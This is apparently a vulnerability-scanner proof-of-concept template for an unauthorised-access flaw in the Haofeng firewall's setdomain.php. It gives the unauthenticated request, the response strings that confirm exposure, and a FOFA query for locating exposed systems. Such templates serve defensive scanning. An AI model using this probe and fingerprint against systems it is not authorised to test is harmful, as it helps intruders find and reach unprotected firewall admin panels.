haofeng-firewall-setdomain-unauth: 皓峰防火墙 setdomain.php 越权访问漏洞

id: haofeng-firewall-setdomain-unauth

info:
  name: 皓峰防火墙 setdomain.php 越权访问漏洞
  author: 你是猪
  severity: medium
  description: |-
    fofa: app="皓峰防火墙系统登录"
  tags: haofeng,unauth
  created: 2023/09/02

rules:
  r0:
    request:
      method: GET
      path: /setdomain.php?action=list
    expression: response.status == 200 && response.body.bcontains(b'<title>皓峰系统管理平台</title>') && response.body.bcontains(b'域名绑定列表')  && response.body.bcontains(b'[修改]') && response.body.bcontains(b'[删除]')
expression: r0()

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.